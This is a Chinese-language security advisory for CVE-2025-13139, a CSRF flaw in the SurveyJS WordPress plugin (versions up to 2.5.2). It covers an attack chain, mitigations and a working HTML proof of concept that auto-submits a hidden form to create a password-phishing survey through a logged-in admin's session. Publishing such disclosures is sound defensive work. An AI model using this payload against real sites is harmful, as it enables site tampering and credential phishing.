CVE-2025-13139 CVSS 4.3 中危

CVE-2025-13139 SurveyJS WordPress插件CSRF漏洞可创建恶意调查问卷

披露日期: 2026-01-24

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-13139

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

SurveyJS: Drag & Drop WordPress Form Builder

漏洞概述

SurveyJS WordPress表单构建器插件存在跨站请求伪造(CSRF)漏洞，攻击者可利用此漏洞在未经授权的情况下创建恶意调查问卷。该漏洞影响2.5.2及之前所有版本，根源在于SurveyJS_AddSurvey AJAX操作缺少nonce验证机制。攻击者通过诱导网站管理员点击恶意链接，可利用其已认证的身份执行未授权操作，创建包含钓鱼内容或恶意脚本的调查问卷。此类攻击可能导致网站内容被篡改、用户数据泄露或进一步的社会工程攻击。由于该漏洞无需身份认证即可发起攻击，且对机密性和完整性影响较低，因此被评定为中危漏洞。

技术细节

该漏洞存在于SurveyJS插件的ajax_handlers/add_survey.php文件中（第12行附近）。漏洞的根本原因是服务器端未对SurveyJS_AddSurvey AJAX请求进行CSRF token验证。正常情况下，WordPress插件应使用wp_verify_nonce()函数验证请求的合法性，但该插件直接处理请求而未执行此验证。攻击者可构造一个包含survey参数的POST请求，诱使已登录的管理员浏览器自动发送该请求。由于浏览器会自动携带目标网站的cookies，服务器会认为这是一个合法的管理员操作。攻击者可利用此漏洞创建包含钓鱼表单、恶意链接或XSS payload的调查问卷，进而窃取用户敏感信息或进行进一步攻击。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意表单的HTML页面，该表单自动向目标WordPress网站的SurveyJS_AddSurvey AJAX端点发送POST请求

STEP 2

步骤2

攻击者通过钓鱼邮件、社交媒体或其他渠道诱导已登录的WordPress管理员访问恶意页面

STEP 3

步骤3

管理员浏览器自动发送包含有效session cookie的POST请求到目标站点

STEP 4

步骤4

服务器因缺少nonce验证而接受请求，在网站上创建恶意调查问卷

STEP 5

步骤5

攻击者通过分发的调查问卷收集用户敏感信息或执行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CSRF PoC for CVE-2025-13139 -->
<!-- This PoC demonstrates how an attacker can trick a WordPress admin into creating a malicious survey -->

<!DOCTYPE html>
<html>
<head>
    <title>Survey Creation</title>
</head>
<body>
    <h1>Please wait...</h1>
    
    <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
        <input type="hidden" name="action" value="SurveyJS_AddSurvey">
        <input type="hidden" name="survey_data" value='{"title":"Phishing Survey","questions":[{"text":"Enter your password","type":"text"}]}'>
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrf-form').submit();
    </script>
    
    <!-- 
    Attack Scenario:
    1. Attacker hosts this HTML page
    2. Lures WordPress admin to visit the page (e.g., via phishing email)
    3. Form auto-submits using admin's authenticated session
    4. Malicious survey is created on the target WordPress site
    
    Requirements:
    - WordPress admin must be logged in
    - Admin must visit the attacker's page
    - Plugin version <= 2.5.2
    -->
</body>
</html>

影响范围

SurveyJS WordPress Form Builder <= 2.5.2

防御指南

临时缓解措施

在等待官方修复期间，可采取以下临时措施：1)限制管理员账户的使用，避免从不受信任的网络访问后台；2)使用浏览器安全插件防止自动表单提交；3)启用双因素认证降低账户被盗风险；4)定期检查网站是否存在异常调查问卷并及时删除；5)考虑暂时禁用SurveyJS插件直到完成安全更新。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表